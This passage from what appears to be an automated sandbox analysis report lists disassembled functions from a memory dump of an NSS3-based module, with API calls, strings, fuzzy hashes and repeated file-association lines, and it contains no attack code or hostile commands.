Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: b9bb8983863dd71fb08ce28c95361934d53ae2ed02c61ff97d58c7e0c5504b83
Instruction ID: 299f9b1de757d98cb2474f7a610c12d3e25b091f565a12e7b79d9e78cf914dcb
Opcode Fuzzy Hash: b9bb8983863dd71fb08ce28c95361934d53ae2ed02c61ff97d58c7e0c5504b83
Instruction Fuzzy Hash: 0DF054B67162027BFE60257A5C49F37356CDB429BDF340635BE39C56C6E941CC108271

Function 6CF27C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF27C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF27C83
malloc.MOZGLUE(00000001), ref: 6CF27C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF27C9F
PR_GetCurrentThread.NSS3 ref: 6CF27CAD

Part of subcall function 6CED9BF0: TlsGetValue.KERNEL32(?,?,?,6CF20A75), ref: 6CED9C07

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: e4131ce1d4febb28567ac266e60a17ad9eaa62db5df089b8b55cb097dd4760a3
Instruction ID: 56698fea7c5b25157cd441f429ed6d51e23a133774580faf0cea6d8b7dcad981
Opcode Fuzzy Hash: e4131ce1d4febb28567ac266e60a17ad9eaa62db5df089b8b55cb097dd4760a3
Instruction Fuzzy Hash: 43F0F6F19102066BEB009FBAEC09957776CEF00265B11843AEC1DC7B00EB39F514CAE5

Function 6CF2ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF2A6D8), ref: 6CF2AE0D
free.MOZGLUE(?), ref: 6CF2AE14
DeleteCriticalSection.KERNEL32(6CF2A6D8), ref: 6CF2AE36
free.MOZGLUE(?), ref: 6CF2AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF2A6D8), ref: 6CF2AE47

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: aa772ce928b2fbd5b26e2d467436a6b298ebd4c39c139946fe9065644896d276
Instruction ID: 088664825d4b26d7c13a24a23091d2980e1f5680d89ad52d426dc51abd767899
Opcode Fuzzy Hash: aa772ce928b2fbd5b26e2d467436a6b298ebd4c39c139946fe9065644896d276
Instruction Fuzzy Hash: 32F0F6B5611A01A7CF009FAAD808A6777B8BF867747100329E17A83941D735E012C7D1

Function 6CDB7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDB7D35

Strings

%s at line %d of [%.10s], xrefs: 6CDB7D2E
database corruption, xrefs: 6CDB7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDB7D13, 6CDB7D1F, 6CDB7D47, 6CDB7D53, 6CDB7D5F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: e72f1394ead1213c070b264f53a90fceb527175687cc5830e0b74ca520baea20
Instruction ID: f2593572a440afd9a460eb3f4ae88e10b79cafd6ce87f725f32e04635391b5ee
Opcode Fuzzy Hash: e72f1394ead1213c070b264f53a90fceb527175687cc5830e0b74ca520baea20
Instruction Fuzzy Hash: 2C3126B1E04229E7C710CF9EC8809BDB7F2AF44345B5A419AE445B7B92D271EC51C7B0

Function 6CDA6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CDA6D36

Strings

%s at line %d of [%.10s], xrefs: 6CDA6D2F
database corruption, xrefs: 6CDA6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDA6D20

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: fe24366242dc764bb5a88fed67c649c0e05af2af964bd84e09fa9b16e118f56f
Instruction ID: 79d10837fdc2a9f3ac07a39c1b1261e21d6260d575f919dde62d1a7ad6d3b758
Opcode Fuzzy Hash: fe24366242dc764bb5a88fed67c649c0e05af2af964bd84e09fa9b16e118f56f
Instruction Fuzzy Hash: 3E21E271600705DBCB108F5AC841B5EB7E6AF84348F148929D84A9BF61E371E94787A2

Function 6CE82FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CE832C2,<+l,00000000,00000000,?), ref: 6CE82FDA

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CE8300B

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CE8302A

Part of subcall function 6CE70840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE708B4

Part of subcall function 6CE5C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CE5C45D
Part of subcall function 6CE5C3D0: TlsGetValue.KERNEL32 ref: 6CE5C494
Part of subcall function 6CE5C3D0: EnterCriticalSection.KERNEL32(?), ref: 6CE5C4A9
Part of subcall function 6CE5C3D0: PR_Unlock.NSS3(?), ref: 6CE5C4F4

Strings

<+l, xrefs: 6CE82FD0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 4d18596781c56033935c0f141d441260beb51fdd0ae3017ad9625c3773d8baa2
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: FD11ABB6B012046BDB008EA5DC01A9B77E99B8466CF384138F91CD7781E776ED15C7A1

Function 6CEDCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CEDCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CEDCC7B), ref: 6CEDCD7A
Part of subcall function 6CEDCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CEDCD8E
Part of subcall function 6CEDCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CEDCDA5
Part of subcall function 6CEDCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CEDCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CEDCCB5
memcpy.VCRUNTIME140(6CF714F4,6CF702AC,00000090), ref: 6CEDCCD3
memcpy.VCRUNTIME140(6CF71588,6CF702AC,00000090), ref: 6CEDCD2B

Part of subcall function 6CDF9AC0: socket.WSOCK32(?,00000017,6CDF99BE), ref: 6CDF9AE6
Part of subcall function 6CDF9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CDF99BE), ref: 6CDF9AFC

Part of subcall function 6CE00590: closesocket.WSOCK32(6CDF9A8F,?,?,6CDF9A8F,00000000), ref: 6CE00597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CEDCCB0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 88b1e689545a50e18b8d360d3ddd99e9694171b5965870a3d03958662f3bc624
Instruction ID: 9f33f016a114b77dc7b355d2471fd14cf0e7d5c3fee2a05c5bbcca474237faf1
Opcode Fuzzy Hash: 88b1e689545a50e18b8d360d3ddd99e9694171b5965870a3d03958662f3bc624
Instruction Fuzzy Hash: 0C11D5F1F202505FDB558F99BC67B423AB89346218F145029E50ECBB40E776C41C87F1

Function 6CE41CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CE41CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CE41CF1

Part of subcall function 6CF209D0: PR_Now.NSS3 ref: 6CF20A22
Part of subcall function 6CF209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF20A35
Part of subcall function 6CF209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF20A66
Part of subcall function 6CF209D0: PR_GetCurrentThread.NSS3 ref: 6CF20A70
Part of subcall function 6CF209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF20A9D
Part of subcall function 6CF209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF20AC8
Part of subcall function 6CF209D0: PR_vsmprintf.NSS3(?,?), ref: 6CF20AE8
Part of subcall function 6CF209D0: EnterCriticalSection.KERNEL32(?), ref: 6CF20B19
Part of subcall function 6CF209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF20B48
Part of subcall function 6CF209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF20C76
Part of subcall function 6CF209D0: PR_LogFlush.NSS3 ref: 6CF20C7E

Strings

C_Initialize, xrefs: 6CE41CD3
pInitArgs = 0x%p, xrefs: 6CE41CEC

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 932887208e42949f3f7d8c485aa18a17f6ad87895f350219fed4d9879041075d
Instruction ID: ca1ff34b209c8b2ebb1e53d0a6d77f74eb30e2b37fd49aaab66cc1fe7804c1b5
Opcode Fuzzy Hash: 932887208e42949f3f7d8c485aa18a17f6ad87895f350219fed4d9879041075d
Instruction Fuzzy Hash: FF01D275B10190DFCF41AB94FD0CB5537B4ABC232AF148028E40982711DF76D859C7B1

Function 6CDA7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDA81DF
LeaveCriticalSection.KERNEL32(?), ref: 6CDA8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDA8255
sqlite3_free.NSS3(00000000), ref: 6CDA8260

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 04221956b57d46b48ea9054f345d1e288a8559b7e7dbd5ec6e3fd9f54952c825
Instruction ID: 69ee97c3ec97620c8095141dfe87e796b8eaba3ee392ad5b10587494695a0b63
Opcode Fuzzy Hash: 04221956b57d46b48ea9054f345d1e288a8559b7e7dbd5ec6e3fd9f54952c825
Instruction Fuzzy Hash: 4991DF71E01298DFEF45CFE1EC487ADBBB1BF06304F24002AD81A9B664D739594ACB91

Function 6CE81D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CE81D8F

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE81DA6

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE81E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE81ED0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 47ef48f073aa4e43ea93be489dc9941541b9a31658b5b9d747a89c18079b6fb4
Instruction ID: 4b00cf6b1485ddba3fbe2041ac3bfba292d612a5d1e09c1c28fd9effacc5eccb
Opcode Fuzzy Hash: 47ef48f073aa4e43ea93be489dc9941541b9a31658b5b9d747a89c18079b6fb4
Instruction Fuzzy Hash: 35514675A01309DBDB14CF98D884BAEB7B6BF49308F244129E82E9B750D731E945CBA0

Function 6CED4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CDB85D2,00000000,?,?), ref: 6CED4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CED500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CED50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CED50D6

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: c3eef9dee696190f55ac444f6eb8d96f518d3315875a5840799f2b8fda40c51a
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 764162B2A412158BCB18CF58DCD179AB7E1FF4431872D466DD84ACBB02E779E891CB81

Function 6CDFFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CDFFDFE), ref: 6CDFFFAD

Part of subcall function 6CD9CA30: EnterCriticalSection.KERNEL32(?,?,?,6CDFF9C9,?,6CDFF4DA,6CDFF9C9,?,?,6CDC369A), ref: 6CD9CA7A
Part of subcall function 6CD9CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CD9CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CDFFDFE), ref: 6CDFFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CDFFDFE), ref: 6CE0001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CDFFDFE), ref: 6CE0006F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 9927d19eeecb6b9664db86ae419aec2c122ca0664b3a3e40c1b2c1e2cee43ab2
Instruction ID: c094a9726ce849b7da5c11c0654020157fe0f5698a8553b8f3cd5477daa121db
Opcode Fuzzy Hash: 9927d19eeecb6b9664db86ae419aec2c122ca0664b3a3e40c1b2c1e2cee43ab2
Instruction Fuzzy Hash: D041DB71F002159BDB08DFA5EC85BBEB774BF4A308F140429D81697B50DB39A925CBE1

Function 6CEE7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEE7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEE7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEE7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CEE7ED8

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: fb5bbee656d5f5bee7eb98e66fefcbe044336b6964fb64c3224cd0bee01767c9
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 8A31B5B2A011118FDB04CF18D89199ABBF2FF8831872B816DC8595B722EB75EC45CBD1

Function 6CE9DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CE23090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE3AE42), ref: 6CE230AA
Part of subcall function 6CE23090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE230C7
Part of subcall function 6CE23090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE230E5
Part of subcall function 6CE23090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE23116
Part of subcall function 6CE23090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE2312B
Part of subcall function 6CE23090: PK11_DestroyObject.NSS3(?,?), ref: 6CE23154
